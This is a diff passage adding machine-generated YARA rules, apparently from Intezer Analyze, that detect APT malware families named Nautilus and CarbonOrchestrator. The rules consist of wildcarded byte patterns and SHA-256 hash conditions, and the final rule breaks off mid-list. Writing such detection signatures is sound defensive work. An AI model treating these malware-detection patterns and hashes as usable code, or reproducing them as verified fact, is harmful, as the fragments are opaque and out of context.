+		$block_1 = { 8B ?? 48 ?? ?? ?? 41 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 43 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 43 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? 41 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 43 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 43 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? 48 ?? ?? 0F 85 }
+		$block_2 = { 8B ?? 48 ?? ?? ?? 41 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? 41 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? 48 ?? ?? 0F 85 }
+		$block_3 = { 8B ?? 48 ?? ?? ?? 41 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? 41 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? 49 ?? ?? 0F 85 }
+		$block_4 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 41 ?? 41 ?? 44 ?? ?? ?? 0F B6 ?? ?? 49 ?? ?? 44 ?? ?? ?? ?? 41 ?? ?? ?? 48 ?? ?? ?? 44 ?? ?? 0F B6 ?? ?? 41 ?? ?? ?? 41 ?? ?? ?? BD ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 44 ?? ?? 0F B6 ?? ?? 41 ?? ?? ?? 44 ?? ?? 0F B6 ?? ?? 44 ?? ?? 0F B6 ?? ?? 41 ?? ?? ?? 44 ?? ?? 0F B6 ?? ?? 41 ?? ?? ?? 44 ?? ?? 41 ?? ?? C1 ?? ?? 41 ?? ?? 23 ?? 44 ?? ?? C1 ?? ?? 44 ?? ?? 41 ?? ?? C1 ?? ?? 41 ?? ?? 0F B7 ?? 44 ?? ?? C1 ?? ?? 44 ?? ?? 41 ?? ?? C1 ?? ?? 41 ?? ?? 41 ?? ?? 4C ?? ?? ?? ?? ?? ?? 44 ?? ?? C1 ?? ?? 44 ?? ?? 45 ?? ?? 41 ?? ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? ?? 45 ?? ?? 41 ?? ?? ?? 45 ?? ?? 41 ?? ?? 45 ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? ?? 45 ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? 45 ?? ?? ?? 41 ?? ?? 41 }
+		$block_5 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 5? 41 ?? 41 ?? 48 ?? ?? ?? ?? ?? ?? 4D ?? ?? 8B ?? 4C ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? 44 ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 49 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 49 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 74 }
+		$block_6 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? B1 ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 88 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? B1 ?? 4C ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 88 ?? ?? FF 1? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 8A ?? 48 ?? ?? ?? ?? 4C ?? ?? 80 E? ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 88 ?? ?? FF 1? ?? ?? ?? ?? C0 ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 8A ?? 4C ?? ?? E8 ?? ?? ?? ?? 4D ?? ?? C6 ?? ?? ?? 88 ?? ?? B8 ?? ?? ?? ?? 45 ?? ?? ?? 45 ?? ?? F7 ?? 8B ?? C1 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 6B ?? ?? 2B ?? 89 ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? 48 ?? ?? ?? ?? 99 2B ?? D1 ?? 8D ?? ?? 89 }
+		$block_7 = { 41 ?? ?? 44 ?? ?? C1 ?? ?? 41 ?? ?? ?? 44 ?? ?? 43 ?? ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? 48 ?? ?? ?? 33 ?? 41 ?? ?? 47 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 44 ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? 41 ?? ?? ?? 41 ?? ?? C1 ?? ?? 41 ?? ?? ?? 41 ?? ?? 41 ?? ?? 4C ?? ?? ?? 33 ?? 89 ?? 43 ?? ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? C1 ?? ?? 33 ?? 49 ?? ?? 48 ?? ?? ?? 33 ?? 43 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 4D ?? ?? 49 ?? ?? 49 ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 45 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? 41 ?? ?? C1 ?? ?? 83 ?? ?? 89 ?? ?? 45 ?? ?? 0F 84 }
+		$block_8 = { 41 ?? ?? 44 ?? ?? C1 ?? ?? 41 ?? ?? ?? 44 ?? ?? 43 ?? ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? 48 ?? ?? ?? 33 ?? 41 ?? ?? 47 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? 41 ?? ?? ?? 41 ?? ?? ?? ?? ?? C1 ?? ?? 41 ?? ?? 41 ?? ?? 33 ?? 41 ?? ?? 43 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 8B ?? C1 ?? ?? 4D ?? ?? C1 ?? ?? 49 ?? ?? ?? 33 ?? 48 ?? ?? ?? 33 ?? 43 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 4D ?? ?? 49 ?? ?? 4D ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 45 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? 8B ?? ?? F7 ?? 41 ?? ?? ?? ?? ?? ?? 83 ?? ?? 44 ?? ?? 41 ?? ?? C1 ?? ?? 83 ?? ?? 89 ?? ?? 45 ?? ?? 0F 84 }
+		$block_9 = { 4C ?? ?? 33 ?? 49 ?? ?? FF 1? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? 8B ?? 41 ?? ?? 44 ?? ?? ?? C1 ?? ?? 41 ?? ?? 41 ?? ?? C1 ?? ?? 41 ?? ?? 8B ?? 0F B6 ?? 41 ?? ?? C1 ?? ?? C1 ?? ?? 41 ?? ?? C1 ?? ?? 0F B6 ?? 03 ?? 48 ?? ?? ?? ?? ?? ?? 03 ?? 41 ?? ?? ?? 41 ?? ?? ?? 03 ?? B8 ?? ?? ?? ?? 03 ?? 41 ?? ?? F7 ?? 41 ?? ?? 41 ?? ?? ?? C1 ?? ?? 41 ?? ?? 03 ?? 41 ?? ?? 41 ?? ?? 6B ?? ?? 2B ?? F7 ?? 41 ?? ?? C1 ?? ?? 69 ?? ?? ?? ?? ?? 2B ?? F7 ?? C1 ?? ?? 69 ?? ?? ?? ?? ?? 2B ?? FF 1? ?? ?? ?? ?? 49 ?? ?? ?? BA ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 44 ?? ?? 48 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? B3 }
+
+	condition:
+		hash.sha256(0, filesize) == "93e36c336b5b20b3c33b7d0f8844572ddcc10046d1fe91b7b106d78c7fea932c" or
+		10 of them
+}
+
+rule Nautilus {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 48 ?? ?? ?? ?? 44 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 0F 8A }
+		$block_1 = { 44 ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 8D ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_2 = { 49 ?? ?? 48 ?? ?? 48 ?? ?? A8 ?? 0F 95 ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 44 ?? ?? 85 ?? 75 }
+		$block_3 = { 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 48 ?? ?? 44 ?? ?? E8 ?? ?? ?? ?? 8B ?? 48 ?? ?? E8 }
+		$block_4 = { 8B ?? 8B ?? C1 ?? ?? 83 ?? ?? 0F B6 ?? 4C ?? ?? 4D ?? ?? 4D ?? ?? 4B ?? ?? ?? 83 ?? ?? 0F 8F }
+		$block_5 = { 48 ?? ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_6 = { 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_7 = { 44 ?? ?? ?? 48 ?? ?? 41 ?? ?? F6 ?? 41 ?? ?? F6 ?? 0F B6 ?? 48 ?? ?? ?? 4C ?? ?? 49 ?? ?? 72 }
+		$block_8 = { 41 ?? ?? ?? 4D ?? ?? 33 ?? 8B ?? 89 ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 4C ?? ?? ?? ?? 4D ?? ?? 48 ?? ?? 48 ?? ?? 4C ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_10 = { 8B ?? 41 ?? ?? 4D ?? ?? ?? 24 ?? F6 ?? 8D ?? ?? 1B ?? 83 ?? ?? 33 ?? 0F B6 ?? 4C ?? ?? 75 }
+		$block_11 = { 48 ?? ?? ?? 0F B6 ?? ?? C7 ?? ?? ?? ?? ?? ?? FF C? 83 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? EB }
+		$block_12 = { FF 0? ?? ?? ?? ?? 45 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_13 = { B8 ?? ?? ?? ?? 41 ?? ?? 44 ?? ?? 41 ?? ?? ?? 44 ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? ?? 0F 8F }
+		$block_14 = { 0F B6 ?? 44 ?? ?? 44 ?? ?? 44 ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? 89 ?? ?? ?? 48 ?? ?? ?? ?? 48 }
+		$block_15 = { 44 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_16 = { 44 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_17 = { A8 ?? 8B ?? 48 ?? ?? 0F 95 ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 44 ?? ?? 85 ?? 0F 85 }
+		$block_18 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 8B ?? ?? FF C? 81 F? ?? ?? ?? ?? 89 ?? ?? 0F 44 ?? 89 }
+		$block_19 = { 48 ?? ?? ?? 41 ?? ?? F6 ?? 41 ?? ?? C0 ?? ?? E8 ?? ?? ?? ?? 33 ?? 44 ?? ?? 85 ?? 0F 85 }
+		$block_20 = { FF 0? ?? ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_21 = { FF 0? ?? ?? ?? ?? 4D ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_22 = { E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 0F 84 }
+		$block_23 = { 8B ?? ?? 69 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 40 ?? ?? ?? 0F 84 }
+		$block_24 = { 4C ?? ?? ?? ?? 8B ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 85 }
+		$block_25 = { 48 ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_26 = { FF 0? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 4D ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_27 = { FF 0? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_28 = { 0F 10 ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? F3 ?? ?? ?? 48 ?? ?? ?? 5? C3 }
+		$block_29 = { 41 ?? ?? ?? 45 ?? ?? ?? 4D ?? ?? C1 ?? ?? 44 ?? ?? ?? ?? 49 ?? ?? 49 ?? ?? ?? 0F 8C }
+		$block_30 = { 0F B6 ?? ?? E8 ?? ?? ?? ?? 88 ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? 72 }
+		$block_31 = { 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_32 = { 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 0F 87 }
+		$block_33 = { 44 ?? ?? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_34 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_35 = { 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_36 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? FE ?? 0F B6 ?? FF 1? ?? ?? ?? ?? 8B ?? 89 }
+		$block_37 = { BA ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_38 = { 4D ?? ?? ?? 48 ?? ?? ?? 4D ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_39 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_40 = { 44 ?? ?? ?? ?? 41 ?? ?? 41 ?? ?? 41 ?? ?? 41 ?? ?? 3B ?? 0F 4C ?? 85 ?? 7E }
+		$block_41 = { BA ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_42 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 85 ?? 0F 85 }
+		$block_43 = { 41 ?? ?? ?? ?? ?? ?? 48 ?? ?? 8D ?? ?? 41 ?? ?? 48 ?? ?? ?? 3B ?? 0F 8C }
+		$block_44 = { 48 ?? ?? ?? ?? 44 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 80 7? ?? ?? ?? 0F 85 }
+		$block_45 = { 8A ?? ?? B9 ?? ?? ?? ?? 40 ?? ?? C0 ?? ?? 41 ?? ?? D2 ?? 84 ?? 0F 85 }
+		$block_46 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 89 }
+		$block_47 = { 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_48 = { 44 ?? ?? 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 3B ?? 0F 8C }
+		$block_49 = { 4C ?? ?? ?? 4D ?? ?? 49 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_50 = { 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_51 = { 48 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 8D ?? ?? ?? ?? ?? ?? 4C ?? ?? 72 }
+		$block_52 = { 4B ?? ?? ?? 03 ?? 48 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 41 ?? ?? 0F 8F }
+		$block_53 = { 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_54 = { 0F 28 ?? ?? BE ?? ?? ?? ?? 48 ?? ?? ?? ?? 44 ?? ?? ?? 0F 11 }
+		$block_55 = { 0F B6 ?? 3B ?? 0F 4F ?? 3B ?? 0F 4C ?? 48 ?? ?? 48 ?? ?? 75 }
+		$block_56 = { 48 ?? ?? ?? BB ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_57 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_58 = { 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_59 = { 0F 28 ?? ?? 41 ?? ?? ?? 45 ?? ?? ?? 48 ?? ?? ?? ?? 0F 11 }
+		$block_60 = { 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$block_61 = { 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 4D ?? ?? ?? 4C ?? ?? 0F 82 }
+		$block_62 = { 4C ?? ?? ?? 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_63 = { 49 ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$block_64 = { 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_65 = { 48 ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_66 = { 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_67 = { 45 ?? ?? ?? 4D ?? ?? 66 ?? ?? ?? ?? 41 ?? ?? ?? 0F 8C }
+		$block_68 = { 49 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_69 = { 49 ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_70 = { 41 ?? ?? 41 ?? ?? 44 ?? ?? 45 ?? ?? 45 ?? ?? 0F 8F }
+		$block_71 = { 49 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 49 ?? ?? ?? 0F 86 }
+		$block_72 = { 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_73 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 10 ?? F3 }
+		$block_74 = { 49 ?? ?? ?? 8B ?? 8B ?? C1 ?? ?? 0F B6 ?? 85 ?? 7E }
+		$block_75 = { 4C ?? ?? ?? 44 ?? ?? ?? 44 ?? ?? ?? 44 ?? ?? 0F 84 }
+		$block_76 = { 48 ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_77 = { 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_78 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 87 }
+		$block_79 = { 48 ?? ?? ?? 48 ?? ?? B8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_80 = { 83 ?? ?? ?? 8B ?? ?? 4C ?? ?? ?? 49 ?? ?? 0F 85 }
+		$block_81 = { 41 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? 44 ?? ?? 0F 8C }
+		$block_82 = { 49 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "cefc5cf4d46abb86fb0f7c81549777cf1a2a5bfbe1ce9e7d08128ab8bfc978f8" or
+		24 of them
+}
+
+rule CarbonOrchestrator_v3_81_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? 48 ?? ?? ?? ?? 8B ?? ?? 2B ?? 8B ?? 89 ?? ?? ?? EB }
+		$block_1 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_2 = { C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_3 = { 4C ?? ?? ?? ?? 88 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_4 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 5? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_5 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_6 = { 66 ?? ?? ?? 6A ?? 8D ?? ?? 5? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 89 ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_8 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 }
+		$block_9 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 48 ?? ?? ?? ?? 66 ?? ?? ?? EB }
